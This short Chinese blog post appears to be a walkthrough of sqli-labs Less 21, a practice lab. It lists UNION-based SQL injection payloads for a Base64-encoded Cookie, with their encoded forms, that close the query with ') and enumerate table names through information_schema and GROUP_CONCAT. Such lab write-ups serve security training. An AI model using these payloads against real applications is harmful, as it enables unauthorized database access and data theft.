sqli labs less 21

最新推荐文章于 2024-08-22 21:31:11 发布

三哥_DH

最新推荐文章于 2024-08-22 21:31:11 发布

阅读量224

点赞数

分类专栏： SQL注入文章标签：安全

本文链接：https://blog.csdn.net/Xiaoxiaoqiang_/article/details/104645491

版权

本篇博客介绍了sqli labs中的less 21关，该关卡对比less 20主要的区别在于需要对注入的Cookie进行Base64编码。博主列举了几个示例，如使用（’ ‘)闭合语句，并展示了如何通过编码进行SQL注入，包括获取表名和使用GROUP_CONCAT函数拼接表名。

摘要由CSDN通过智能技术生成

这题与less 20 相似，只不过cookie需要经过base64 编码之后才能注入。
这一题就是比较麻烦其他没啥。还有就是（’ ‘) 闭合语句。
admin2’） union select 1,2,3 **# base64编码为：**YWRtaW4yJykgdW5pb24gc2VsZWN0IDEsMiwzICMg

aaa’) union select 1,2,3 # **base64 编码为：**YWFhJykgdW5pb24gc2VsZWN0IDEsMiwzICM=

aaa’) union select 1,2,table_name from information_schema.tables where table_schema=database() # base64编码为：
YWFhJykgdW5pb24gc2VsZWN0IDEsMix0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAj

aaa’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # base64编码为：
YWFhJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICM=
在这里插入图片描述